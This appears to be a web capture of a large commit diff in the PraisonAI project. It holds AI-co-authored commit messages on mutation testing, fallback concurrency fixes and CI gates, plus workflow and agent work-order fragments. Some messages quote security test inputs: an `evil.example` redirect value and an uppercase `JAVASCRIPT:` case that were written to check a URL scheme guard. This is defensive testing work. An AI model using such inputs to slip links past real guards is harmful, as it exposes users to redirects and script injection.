protocol on Agent, orchestration middleware/GeneratorContext rewrite) are
intentionally not implemented as scope creep.
Co-authored-by: MervinPraison <[email protected]>
Async fallback previously swapped the shared self.llm / self._unified_dispatcher
and held a lock across the await. Ordinary concurrent async turns on the same
Agent read those fields WITHOUT the lock, so they could dispatch against another
turn's fallback model (wrong response, cost, and observability attribution) —
the greptile P1 finding.
Instead of mutating shared state, the async fallback now builds a per-call
throwaway dispatcher (_build_fallback_dispatcher) bound to the fallback model and
passes it via _execute_unified_achat_completion(..., _dispatcher=...). Shared
self.llm / self._unified_dispatcher are never touched, so concurrent turns stay
on the original model. No lock is needed on the async path, removing the prior
asyncio.Lock deadlock-avoidance dance. The sync path is unchanged (it recurses
through the full _chat_completion wrapper which reads self.llm for hooks/budget)
and keeps the serialised swap.
Adds two deterministic regression tests: the throwaway dispatcher is a distinct
object bound to the fallback model and leaves shared state untouched, and the
async fallback branch runs the retry on the override dispatcher without mutating
self.llm / self._unified_dispatcher.
Co-authored-by: Mervin Praison <[email protected]>
Gap 1: _append_to_chat_history (the append path every real chat()/achat()
turn uses) now records into the per-turn _active_turn_owned tracker, and
_rollback_chat_history_to uses `if owned is not None` so an empty-but-tracked
turn still takes the ownership-safe (identity-based) rollback branch instead
of the unsafe positional delete that could erase a concurrent turn's messages.
Gap 2: serialise the Agent-level model-fallback mutate/restore window
(self.llm/_unified_dispatcher) with a lazily-created per-instance dual
(sync/async) lock held across the await, so a concurrent turn on a shared
Agent can never observe the wrong model. Only fallback turns contend; normal
turns stay fully concurrent. Async path releases the lock before recursing
into the error handler to avoid asyncio.Lock deadlock.
Co-authored-by: Mervin Praison <[email protected]>
Every gate in tools/ printed its findings correctly and then let the build
pass anyway, or narrowed silently. Five mutations survived the suite:
- check-upstream-parity: `process.exitCode = 1` -> `= 0`. Upstream API drift
is reported in full and the job goes green.
- check-upstream-parity: dropping `--strict` from the typecheck. Null-safety
drift stops being detected at all.
- depgraph: `[^/]*` -> `.*` for a single `*`. Every allowlist entry silently
widens to cover the subdirectories it was written to exclude.
- depgraph: dropping `matchesAllowlist(name, pkg)` in externalAllowed. A glob
key like `@tauri-apps/plugin-*` stops matching, so those packages fall
through to "no rule" and become importable from anywhere -- the Tauri seam
the rule exists to hold.
- build-webview: dropping `process.exit(1)`. An unshippable bundle is
published as a dist/ that throws on the first line a browser evaluates.
Three of the five needed a seam to be observable, so the interface path
(PARITY_AGENT_API), the boundaries root, and the webview package root are now
injectable, and the tests drive the real CLIs as processes against fixture
trees. bundle.mjs's relative-external guard is covered directly.
All five mutations now die by exit code. 1187 tests pass on Node 22.23 and
24.12.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
A fifth package-wide sweep put genuine survival at 36.1%, against 17.0% before
it -- and the rise is unambiguous (z=4.77). Nothing regressed: the baseline is
byte-identical and 25 of 27 previously-closed items still die.
THE REASON IS WORSE THAN A REGRESSION WOULD HAVE BEEN
The sweep reconstructed every prior mutation list -- 3,063 records, 1,000
distinct anchors -- and found that 125 of its first 153 mutations landed on
lines a prior sweep had already mutated, 51 of them byte-identical repeats.
Four sweeps had touched 835 of 7,542 lines, and those 835 are essentially the
whole branchy, killable surface.
So it rebuilt the sample: 0 repeats, 104 mutations on lines never anchored
before. That is what moved the number.
"The suite was never at 17%; the sample was."
The declining trend I have been reporting -- 26.3 -> 23.8 -> 18.5 -> 17.0 --
was substantially re-measuring ground already hardened. The drop was real for
the ground it covered and did not generalise, and I reported it as though it
did.
WHAT THE FRESH GROUND FOUND
approvals.ts `choice: entry.state.choice` -> `choice: "allow"`
An acknowledged DENY is recorded as an ALLOW. The row the user reads back
says they permitted the thing they refused, and `outstanding` agrees.
dom.ts `b.dataset["choice"] = choice` -> `= "allow"`
All three buttons send `allow`. Every layer above is careful to route a
decision by approvalId; the last hop decides WHAT the decision is, and
nothing read it. Deny becomes Allow at the DOM.
main.ts `buildTranscript(view.turn, view.approvals)` -> one argument
The approval TABLE carries the decision lifecycle. Without it the row is
built from the turn alone and stays `pending` forever -- the user taps
Deny and the card never acknowledges it.
registry.ts `default: 0.7` -> `default: 7`
`validate` runs on `set` and on `load`, never on the shipped DEFAULT, so
an out-of-range value is used verbatim on a fresh install. Now asserted
for EVERY def, because the next one to drift will be a different key.
AND ONE THE SWEEP OVERSTATED, CHECKED RATHER THAN ACCEPTED
It reported `plainOnly(values, byKey)` -> `Object.fromEntries(values)` as
"every secret is written to plain storage". It is not. No public route can put
a secret into the values map: `set` refuses a secret-flagged key and `load`
drops one -- verified by driving all three routes and reading the persisted
file, which contains only `model`. The two forms are equivalent through the
public API and the mutation survives the new test too.
`plainOnly` is defence in depth for the day a new write path forgets the rule,
which is why it is tested directly. The new test asserts the other half: that
no such route exists today, so it fails if one is added.
1178 tests on node 22.23 and 24.12. Four mutations confirmed caught by exit
code; the fifth proved equivalent rather than fixed.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Five more from the fourth sweep's tier 2.
scroll.ts the inner `Math.max(0, scrollTop)`
iOS legitimately reports a NEGATIVE scrollTop while the user
rubber-bands past the end. Without the clamp the distance from the bottom
comes out positive, so follow-the-stream switches itself off mid-answer
on every overscroll -- the exact behaviour the module exists to prevent.
Paired: a real scroll away from the bottom must still be reported, or the
transcript yanks the user back down while they are reading.
composer.ts `|| event.altKey`
Under enter-sends -- chosen only on a tablet with a hardware keyboard --
Alt+Enter SENDS a half-written message instead of breaking the line. The
comment beside it calls Alt the muscle memory on some layouts.
remote-http `encodeURIComponent` on approvalId and runId
An id containing `/`, `#` or `?` -- and these ids are opaque, so nothing
forbids them -- posts the decision to a DIFFERENT path. The engine never
sees it, the run stays blocked until timeout, and the UI shows the
decision as sent.
sse.ts `else if (swallowed) swallowLeadingLf = false` -> `= true`
The one that took work. It survives every chunking of a pure-CRLF
stream, because after a swallowed CRLF the next chunk begins with a field
name rather than a newline. Reaching it needs MIXED terminators: a CRLF
immediately followed by a bare LF, which is a blank line written two ways
in one stream, and legal.
I wrote a test first that could not tell the two apart -- it passed
against the mutant. A differential probe over 3-cut chunkings of pure
CRLF found zero differences; widening to mixed-terminator streams found
exactly one. Correct behaviour is two frames; the mutant swallows the
leading LF, the blank line disappears, and the two frames MERGE. An event
boundary is lost silently.
That is the fourth time this session a test of mine passed against the defect
it was written for. The probe is the reason this one did not ship that way.
1171 tests on node 22.23 and 24.12. Five mutations confirmed caught by exit
code.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
The structural finding of the fourth sweep, and the one that keeps recurring in
this package: the meta-defence catches a DELETED case and not a HOLLOWED one.
Seven assertions inside the conformance suites could be replaced with nothing
and the build stayed green.
The count floors added earlier assert how many cases RUN. A case that still
runs and asserts nothing passes them, and no break mode covered these seven.
That is the same shape as the original defect -- a check that reports success
over work it did not do -- one level further in.
Five new break modes, each reddening its case BY NAME:
storage_empty_is_absent an empty string read back as absent, which is
`||` where the code must use `??` -- it turns
a deliberately-blank setting back into its
default on every read
time_unsubscribe_does_nothing the interval leaks for the app's lifetime and
nothing the caller does can stop it
shell_scheme_case_sensitive `JAVASCRIPT:` slips past a guard that refuses
`javascript:` -- the oldest trick there is
shell_negative_insets a negative inset reaching the layout, which
lifts content off the wrong edge
abort_ignored a run that never consults its signal
AND THE ABORT CASE COULD NOT HAVE CAUGHT ITS OWN DEFECT
`aborting the signal stops the stream` asserted `seen.length < 50`. Every
scenario in the suite is five events or fewer, so an engine that ignored the
signal entirely and ran to completion SATISFIED it -- the case could only fail
for an engine that emitted fifty events, which none does.
It now compares against the length of the full script. A cap larger than any
real run cannot tell stopping from finishing, and that is what an arbitrary
ceiling always is.
Verified by attempting the hollowing that worked before -- gutting the
empty-string case, the unsubscribe case, the uppercase-scheme case and the
negative-inset case to assert nothing, widening the inset bound to -100, and
making the abort ceiling vacuous again. All six now exit non-zero.
1166 tests on node 22.23 and 24.12.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
A fourth package-wide sweep put genuine survival at 17.0% (48/282), against
26.3% -> 23.8% -> 18.5% before it. Honest reading: the fall has essentially
STOPPED. Binomial SE is 2.24pp and the previous 18.5% sits inside this run's
95% interval, so 17.0 and 18.5 are indistinguishable. The drop from 26.3 is
real; the last step is not. Two caveats push the true figure worse, not better:
the sample deliberately avoided the just-hardened lines, and every ambiguous
equivalence call was resolved in the codebase's favour.
13 of 14 spot-checks of previously-closed items still die, so those held.
THE NEW TIER 1
transcript.ts `findIndex(t => t.callId === …)` -> `t.name === event.name`
Two concurrent calls to the same tool -- ordinary for `bash` or `read` --
and the second's result overwrites the FIRST's row and appends a
duplicate. The wrong card shows the other call's output and one call is
stuck "running" forever. The index-pairing defect the whole callId design
exists to prevent, one layer down.
reconcile.ts the approval signature dropping `actionable`
When a turn ends with an unanswered approval, `settle()` flips
`actionable` true -> false while `state.status` stays "pending". With
actionable out of the signature nothing repaints, so the three buttons
stay LIVE on a finished run and the user taps Allow on something that can
no longer be delivered.
controller.ts `run.abort.abort()` deleted after a successful cancel
Stop reports success, the reader is never detached, and the stream keeps
arriving and painting into a turn the user stopped.
view-model.ts the empty-text-block guard
Renders an empty message bubble -- what the file's own comment forbids,
because it "makes a failure look like a short answer". `decode` rejects
an empty delta but `apply` is a public reducer and does not, so an
adapter that does not route through decode produces exactly this.
web/shell.ts `if (at !== -1)` before `backSubs.splice(at, 1)`
A double unsubscribe -- a re-render, StrictMode double-invoking an effect
-- splices at -1 and removes the LAST element: another screen's back
handler silently disappears.
tauri/bridge the `listen` payload's `target: { kind: "Any" }`
Changeable to `{ kind: "Window" }`, or removable entirely. On a device
that is "the app stops receiving safe-area, keyboard, lifecycle and back
events", silently. My earlier hardening covered `openExternal`'s call
site and missed this one -- same file, same commit, a different invoke.
THE GATES
`tools/` is still the weakest layer (33.3%), and it is the layer where a
survivor switches off a gate rather than breaking a feature:
SIZE_BUDGET_BYTES 400kB -> 4MB, and TARGETS moved off the WebView floor
ungovernedRootsIn no longer counting .mjs, so a new all-.mjs top-level
directory reports zero files and passes ungoverned
build-webview's `problems.length > 0` -> `> 1`, so ONE fatal problem ships
The shippability predicate moved into bundle.mjs and is now CALLED by the test
rather than re-implemented in it. Re-implementing would prove a predicate of
that shape works, not that the CLI still contains it -- the exact weakness this
package found in its own conformance meta-tests.
AND A FLAW IN MY OWN VERIFICATION
While checking these I found that `npm run check` can report `fail 0` while
three tests did not pass: node counts them as `cancelled`, not `fail`. I had
been grepping `^ℹ fail`, so two of these nine looked like survivors when the
run had actually exited 1. The reliable signal is the EXIT CODE, and every
result above is now measured that way.
That cuts against me twice over: some earlier "survivor" readings in this
session may have been false, and a harness that reads the wrong counter is the
same defect class as everything else it was hunting.
1161 tests on node 22.23 and 24.12. Nine mutations confirmed caught by exit
code.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
v4.7.4 shipped with no Windows installer. The release was cut specifically to
deliver the Windows fixes, and the Windows leg is the one that failed:
FileVersion 4.7.4 does not match 4.7.4.0
The stamping was right. `ProductVersion` read 4.7.4, which is the defect #4527
reported and #4447 fixed. The gate then appended a literal ".0" to the tag and
compared strings, so a binary carrying exactly the version it was asked to
carry was rejected for not spelling it with a fourth component.
It now parses both sides as versions and compares major, minor and build.
`[version]` normalises a missing fourth component to -1, so "4.7.4" and
"4.7.4.0" compare equal on the parts that mean anything, while 4.7.3, 4.8.4 and
0.1.0 all still fail. Six cases checked, including those three.
The existing test required the broken comparison -- it asserted
`$version.FileVersion -ne $numeric` literally -- so it pinned the bug and would
have failed anyone who fixed it. A test that mandates the wrong behaviour is
worse than no test, because it converts a one-line fix into an argument. It now
asserts the comparison parses versions, and that the ".0" concatenation is
gone.
pwsh is not installed here, so the comparison was verified against a model of
the .NET `[version]` semantics rather than PowerShell itself. The Windows CI leg
is the real check.
Three mutations, three caught, including restoring the string comparison.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Five more from the eighth sweep, in the protocol and accessibility paths.
sse.ts `value.slice(1)` -> `value.trimStart()`
The specification strips EXACTLY one leading space. Trimming corrupts any
payload that legitimately begins with whitespace -- indented JSON, or
text whose first token is deliberately padded -- and nothing reports it.
The comment above the line says exactly this; nothing checked it.
sse.ts `field === "retry"` dropped from the recognised set
A retry-only frame returns null and DISAPPEARS from the stream, rather
than being read and deliberately discarded. Paired with a block that has
no recognised field at all, which must still not become a frame.
decode.ts `seconds === undefined ? null : seconds` -> `? 0 :`
A tool the engine never timed renders "0.0s" -- a measurement presented
as fact. `durationKnown` exists precisely to keep those apart, and its
pair is here too: a MEASURED zero is not unknown.
a11y/focus.ts the survivor search stopped excluding the disabled set
A screen-reader user answering an approval lands on the dead Allow button
they just pressed. VoiceOver drops focus on a disabled element back to
the top of the screen, so they lose their place in the conversation
entirely. Paired with the rule the function's header states: focus the
user did not ask to move must not move, or an approval resolving in the
background steals the caret out of the composer.
web/shell.ts `pushState` -> `replaceState` after a consumed back gesture
The browser entry is replaced rather than restored, so the NEXT back
press exits the app instead of going one screen up. Paired with the
declined case, because pushing unconditionally traps the user on the page
-- the OS back gesture could then never leave the app.
1149 tests on node 22.23 and 24.12. Five mutations confirmed to fail.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Eleven more survivors from the eighth package-wide sweep, all user-facing.
remote-http `run_id: request.runId` -> `request.chatId`
`POST /cancel/{runId}` can then never match a live run, so Stop is
PERMANENTLY dead against the remote engine -- which keeps generating and
keeps billing. The two ids are the same shape, so nothing about the
payload looks wrong.
tauri/bridge three independent defects in one line of `webOpen`
drop `open(url)` and keep `return true` -- reports success having opened
nothing, so a link does nothing and the app believes it worked;
`"_blank"` -> `"_self"` -- the link REPLACES the app;
`"noopener,noreferrer"` -> `""` -- the opened page keeps a live
`window.opener` back into the app, and the referrer leaks.
Paired: openExternal must report FALSE when there is nothing to open
with, or every real link looks broken instead.
transcript `tool_result` wiping the args its `tool_call` recorded
A finished tool can no longer say what it ran -- and args are what an
approval row shows the user before they allow it. Paired with the
orphan-result case, which is the branch that SHOULD yield {}.
transcript reasoning assigned rather than accumulated
Only the last chunk is ever shown, so visible thinking truncates to its
final fragment.
web/storage `PREFIX = "praisonai."` -> `""`
Keys become `chats.c1` on a shared origin: they collide with anything
else stored there, and every existing install's data becomes unreachable.
The port contract cannot see this -- it reads back through the same
adapter, which is self-consistent either way.
settings notify iterating the LIVE subscriber set
A subscriber that unsubscribes another during notify makes the second one
never fire. A settings screen tearing down one row silently drops
another's update.
classify `status === 403` dropped
The message branch only catches text literally containing "403" or
"forbidden", so `{status: 403, message: "nope"}` classifies as `internal`
and the user gets no route to their credentials -- the whole reason
ErrorKind separates auth from everything else.
remote-http accept header, and `/\/+$/` -> `/\/$/`
The stream stops advertising SSE; and an address with two trailing
slashes builds `//chat`, which 404s with nothing explaining why.
1139 tests on node 22.23 and 24.12. Eleven mutations confirmed to fail.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
An eighth package-wide sweep put `tools/` at 46.7% genuine survival -- the
weakest layer in the package, and the one holding the gate every layering
claim depends on. `check-boundaries.mjs` had no test of any kind.
Two independent one-character edits turned the whole gate into a no-op with
`npm run check` still green:
`files.length === 0` -> `>= 0` takes the "nothing to check" branch every
time, reporting success having looked at
nothing at all;
`process.exit(1)` -> `exit(0)` prints every violation it found and passes.
depgraph.test.mjs covers the RULE thoroughly. Nothing covered the CLI that
decides what to walk and turns the answer into an exit code -- and the exit
code is the only part CI reads.
AND THE TEST IMMEDIATELY FOUND A REGRESSION OF MINE
The ungoverned-root check was gone. Not mutated: GONE, from `main`, since the
commit where I extracted `sourceFiles` into depgraph.mjs to make it testable.
The import survived and the call did not, because my slice ran from the
function's doc comment to its call site and the ungoverned block sat between
them.
So for six commits, a new top-level directory could import across both seams
and the checker said nothing -- which is exactly the defect that check was
written to prevent, reintroduced by the refactor meant to make it testable, in
a file with no test. It is restored, and the fourth test in the new file is
what caught it.
The empty-set branch now EXITS 1. Its comment always said "Not a pass"; the
exit code said otherwise, and that disagreement is what made the gate
switchable off by one character. The root is also injectable now
(`node check-boundaries.mjs [root]`), which is what lets the CLI be driven
against fixture trees at all.
ALSO: THE SCHEME GUARD WAS ONLY TESTED THROUGH ITS CALLERS
`isOpenableExternally` had no test at its own boundary. Dropping the `^` from
its regex survived: any string CONTAINING a permitted scheme anywhere then
passes, so `/redirect?to=https://evil.example` and `./rel?x=mailto:a@b` both
return true. Both shells delegate to this before handing a URL to the OS.
Pinned in both directions -- a guard that refused anything containing "https"
anywhere would pass the new cases and break every real link, so
`https://ok.example/path?next=https://other` must still be allowed.
1128 tests on node 22.23 and 24.12. Four mutations confirmed to fail.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-08-28 23:24:54 +01:00
923 changed files with 158898 additions and 8550 deletions
echo "::notice::Skipping the Pages deploy: Pages is not set to build from GitHub Actions (build_type=$build_type). A repository admin must set it at https://github.com/${{ github.repository }}/settings/pages -> Build and deployment -> Source: GitHub Actions. The built site is attached to this run as the mobile-web-dist artifact."
echo "ready=false" >> "$GITHUB_OUTPUT"
exit 0
fi
if [ -n "$cname" ]; then
echo "::notice::Skipping the Pages deploy: a custom domain ($cname) is set, so the app would be served there rather than at the github.io URL."
echo "ready=false" >> "$GITHUB_OUTPUT"
exit 0
fi
echo "ready=true" >> "$GITHUB_OUTPUT"
deploy:
name:deploy to GitHub Pages
needs:pages-ready
if:needs.pages-ready.outputs.ready == 'true'
runs-on:ubuntu-22.04
permissions:
pages:write
id-token:write
environment:
name:github-pages
url:${{ steps.deployment.outputs.page_url }}
concurrency:
# Never cancel a deployment in flight; queue behind it instead.
if ! python3 src/praisonai/scripts/generate_parity_tracker.py --check; then
echo "::error::Parity tracker is out of date. Run: python3 src/praisonai/scripts/generate_parity_tracker.py and commit src/praisonai-ts/PARITY.md, FEATURE_PARITY_TRACKER.json and the Rust pair."
exit 1
fi
signatures:
name:signatures (constructor and method parameters)
runs-on:ubuntu-latest
steps:
- uses:actions/checkout@v4
- uses:actions/setup-python@v5
with:
python-version:'3.11'
- uses:actions/setup-node@v4
with:
node-version:'22'
- run:pip install pyyaml
- name:Install the TypeScript compiler only
# praisonai-ts's full dependency tree is not needed (and does not
# install cleanly); the extractor needs only the `typescript` package.
- name:Signatures match, or are waived with a reason
env:
PYTHONPATH:src/praisonai
run:|
if ! python3 -m praisonai._dev.parity.signatures --check; then
echo "::error::Signature parity failed. See the output above for the surface and parameter. Fix the TypeScript side, or add a waiver with a reason to src/praisonai/praisonai/_dev/parity/signatures/waivers.yaml, then run: PYTHONPATH=src/praisonai python3 -m praisonai._dev.parity.signatures --write"
exit 1
fi
behaviour:
name:behaviour (options accepted but not acted on)
runs-on:ubuntu-latest
steps:
- uses:actions/checkout@v4
- uses:actions/setup-python@v5
with:
python-version:'3.11'
- run:pip install pyyaml
- name:The count of ignored options has not grown
env:
PYTHONPATH:src/praisonai
run:|
if ! python3 -m praisonai._dev.parity.behaviour --check; then
echo "::error::An option accepted for Python parity is not acted on, and the total grew. The name and signature gates cannot see this: they check that a parameter EXISTS. Implement the behaviour and delete its entry from src/praisonai-ts/src/utils/parity-notice.ts, then run: PYTHONPATH=src/praisonai python3 -m praisonai._dev.parity.behaviour --write"
if git diff --quiet src/praisonai-ts/FEATURE_PARITY_TRACKER.json src/praisonai-ts/PARITY.md src/praisonai-rust/FEATURE_PARITY_TRACKER.json src/praisonai-rust/PARITY.md 2>/dev/null; then
if git diff --quiet src/praisonai-ts/FEATURE_PARITY_TRACKER.json src/praisonai-ts/PARITY.md src/praisonai-rust/FEATURE_PARITY_TRACKER.json src/praisonai-rust/PARITY.md src/praisonai-ts/SIGNATURE_PARITY.md src/praisonai-ts/signature-parity.json src/praisonai-ts/BEHAVIOUR_PARITY.md src/praisonai-ts/behaviour-parity.json 2>/dev/null; then
> **For AI Agents and Developers**: This document provides the complete context needed to work with the PraisonAI ecosystem, including design principles, architecture, repository structure, and implementation guidelines.
> **Active workstream — local model runtimes.** If your task touches local inference
| Capability probe works | `qwen3:0.6b` → `["completion","tools","thinking"]` (the 9B tamil model, separately, → `[...,"vision"]`) | `curl -s :11434/api/show -d '{"model":"qwen3:0.6b"}' \| jq .capabilities` |
| Unknown `options` keys are silently dropped | `{"totally_bogus_key":123}` → HTTP 200, no warning | send it to `/api/chat`; response is a normal completion |
| Tool-param schema keywords are stripped | `minLength`, `format`, `default`, `additionalProperties` all absent from the rendered prompt | `/api/chat` with `_debug_render_only: true` and those keys set |
| `parameters.type` must be a bare string | `"type": ["object","null"]` → **HTTP 400**`cannot unmarshal array into Go struct field ToolFunctionParameters...type of type string` | send that tool definition to `/api/chat` |
| **`format` + `tools` are mutually destructive** | Tool call silently suppressed; model fabricates. Same request without `format` calls the tool correctly. | see §2 below |
**Must not edit:** any `praisonaiagents/` source; `.github/workflows/**` (order 05).
> **The audit's stated root cause was wrong, and the correction changes the fix.**
> `provider_ollama` is a red herring. **`not network` deselects all 7 tests on its own**, because
> the plugin implies `network` from *any* provider marker and the file also matches
> `provider_openai`. **Removing `not provider_ollama` from the workflows would change nothing.**
> The fix must be marker-side, not workflow-side. This is why order 04 touches no YAML.
---
## 1. Corrections to the audit
| # | Claim | Verdict |
|---|---|---|
| 1 | 4 CI marker expressions carry `not provider_ollama` | **True but incomplete** — there is a 5th, non-CI location: `src/praisonai-code/praisonai_code/cli/commands/test.py:67` (`praisonai test --tier main`). |
| 2 | 7 tests, all deselected | **Exactly true** (`collected 7 items / 7 deselected / 0 selected`). **Stated cause is wrong** — see the callout above. |
| 3 | The file never inspects `litellm.completion` kwargs | **True** (only `mock_completion.assert_called()`). **And worse: 4 of the 7 tests fail outright when executed.** They are not merely toothless, they are broken. |
| 4 | `test_double_api_fix.py`: 0 asserts, 34 prints | **True. And worse:** all 3 tests are auto-`skip`ped in every configuration, and when forced to run its `patch('litellm.completion')` no longer intercepts — `llm.py` routes `gpt-4o-mini` through `litellm.responses`, so it makes a **real network call** (verified: 401 from `api.openai.com/v1/responses`). |
| 5 | `test_ollama_tool_reliability.py` asserts against MockLLM | **True.** 541 lines, MockLLM at 23–197, 28 tests, all pass. **Quantified:** 2 of the 8 re-implemented methods (`_apply_ollama_defaults`, `_try_parse_tool_call_json`) **do not exist on the real `LLM` at all.** |
| 6 | agents-side ollama tests gated only by `OLLAMA_HOST` | **True**, and `test_ollama_fix_openai` is gated only by `OPENAI_API_KEY` — a live **billed** call on a plain `pytest`. Mitigating: no CI workflow runs these two files. |
| 7 | No ollama live job | **True for CI**, but the audit **missed that the suite already exists**: `tests/integration/test_ollama_tool_calling_live.py`, 230 lines, 7 tests, gated on `PRAISONAI_TEST_OLLAMA=1`. It is **broken against current `main`**. See order 05. |
---
## 2. Reproduce before the fix
```bash
cd src/praisonai &&exportPYTHONPATH=$(cd ../praisonai-agents &&pwd)
CI_M="not slow and not network and not local_service and not provider_anthropic and not provider_google and not provider_ollama and not provider_grok_xai and not provider_groq and not provider_cohere"
| I1 | **Backward compatible.** Public API changes need a deprecation cycle. | Several fixes change which code path a given input takes. Each order carries an explicit list of inputs whose behaviour must not change. |
| I2 | **Lazy imports.** Optional deps never imported at module level. | Discovery must not import `litellm` or any runtime SDK at import time. |
| I3 | **Safe defaults.** New features are opt-in. | Discovery must not fire unless the model spec is `"local"` or unset. Never probe the network on a fully-specified config. |
| I4 | **Deterministic tests.** No dependence on timing or external state. | Every test must pass with **no server running**. Live-server tests go behind an explicit marker and never run in the default suite. |
| I5 | **Protocol-driven core.** No heavy implementations in core. | `local/` returns dataclasses. It performs no chat calls, no retry, no request mutation. |
| I6 | **`local/` is a dependency sink.** | It may import the **standard library only** — nothing from `praisonaiagents`, and no third-party distribution (`httpx`/`requests`/`aiohttp` are forbidden; use `urllib.request`). Enforced by a test. See §5 and `07` §3. |
| I7 | **No second abstraction.** | `llm/adapters/` is the extension point. Do not add a parallel quirk/adapter registry beside it. |
| I8 | **No new public knobs without a live consumer.** | Root `AGENTS.md`: do not add params, modules or exports that merely duplicate existing behaviour. |
### I6 in detail — the import rule
An AST pass over `praisonaiagents/` (595 files, 238,936 lines) found **65 subpackages, 212
| `04-test-gating` | `tests/_pytest_plugins/test_gating.py`, both `pytest.ini`, `tests/conftest.py`, `tests/integration/test_base_url_api_base_fix.py`, `tests/unit/cli/test_test_command.py` | any `praisonaiagents/` source; **`.github/workflows/**` — the `-m` expressions are not the bug** |
Both are cheap, both are anti-regression, and both should land with their respective orders.
**Import boundary (`07`).** Asserts `local/` imports nothing from `praisonaiagents`. Without
it, I6 decays silently and the leaf property — the whole reason the package can be adopted
by `memory/` and `eval/` — is lost.
**Adapter reachability (`06`).** Asserts every method on `DefaultAdapter` has at least one
call site. This is the test whose absence allowed 11 of 17 adapter methods to become dead code
while `llm.py` grew 145 hand-written Ollama references. Two limits, both real: it cannot detect
an *unreachable* call site (proven by `should_skip_streaming_with_tools`, which a caller would
have satisfied while the branch stayed dead), and **one call site satisfies it — so it does not
detect the three-path divergence at all.** A floor, not a ceiling.
---
## 6. Deliberately out of scope
Named here so that deferring them is a decision rather than an oversight. Do not let a work
order quietly grow into one of these.
| Deferred | Measured size | Why not now |
|---|---|---|
| Consolidating `LLM` and `OpenAIClient` behind one protocol | 7,160 + 2,691 lines, selected by one boolean at 6 sites | Neither is a superset of the other; the merge is larger than every order in this ledger combined. |
| Decomposing `LLM.get_response` | 1,675 lines, 194 branch/loop/try nodes | Highest-risk file in the package. Order `06` must edit it surgically without reflowing it. |
| Removing the sync/async divergence | ~1,628 duplicated lines across 10 pairs; `get_response` vs `_async` only 22.3% similar | Requires the consolidation above to be worth doing. |
The one obligation this ledger accepts toward them: **do not make them worse.** No order may
add a fifth copy of any compensation, and no order may add new logic inside `get_response`
Loaded 100 of 923 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user
Blocking a user prevents them from interacting with repositories, such as opening or commenting on pull requests or issues. Learn more about blocking a user.